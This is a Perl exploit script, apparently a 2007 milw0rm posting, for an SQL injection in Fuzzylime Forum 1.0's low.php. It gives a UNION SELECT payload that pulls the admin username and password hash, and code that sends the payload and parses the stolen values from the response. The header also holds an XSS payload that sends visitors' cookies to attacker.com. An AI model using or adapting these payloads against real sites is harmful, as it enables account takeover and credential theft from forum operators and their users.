#!/usr/bin/perl -w

#################################################################################
#                                        #
#           Fuzzylime Forum 1.0 SQL Injection Exploit            #
#                                        #
# Discovered by: Silentz                            #
# Payload: Admin Username & Hash Retrieval                    #
# Website: http://www.w4ck1ng.com                        #
#                                         #
# Vulnerable Code (low.php):                             #
#                                        #
#      $gettopicid = mysql_query("SELECT * FROM ${table_prefix}threads         #
#      WHERE threadid='$_GET[topic]'");                        #
#                                        #
# PoC: http://victim.com/low.php?topic=' UNION SELECT 0,0,0,CONCAT(CHAR(58),    #
#      username,CHAR(58),password),0,0,0,0,0 FROM flforum_users WHERE         #
#      userid=1/*                                #
#                                         #
# Subject To: magic_quotes_gpc set to off                    #
# GoogleDork: Get your own!                            #
#                                        #
# Shoutz: The entire w4ck1ng community                        #
#                                        #
# NOTE: You can also grab the username & hash via a cookie logger and this XSS:    #
#                                        #
#    http://victim.com/low.php?topic="><script>document.location=        #
#       "http://attacker.com/logger.php?var="+document.cookie</script>        #
#                                        #
#################################################################################

use LWP::UserAgent;
die "Example: exploit.pl http://victim.com/n" unless @ARGV;

$b = LWP::UserAgent->new() or die "Could not initialize browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "low.php?topic=' UNION SELECT 0,0,0,CONCAT(CHAR(58),username,CHAR(58),password),0,0,0,0,0 FROM flforum_users WHERE userid=1/*";

$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

if ($answer =~ /raquo; :(.*?):/){
    print "nBrought to you by w4ck1ng.com...n";
    print "n[+] Admin User : $1";
}

if ($answer =~/([0-9a-fA-F]{32})/){print "n[+] Admin Hash : $1n";}

else{print "n[-] Exploit Failed...n";}

# milw0rm.com [2007-06-12]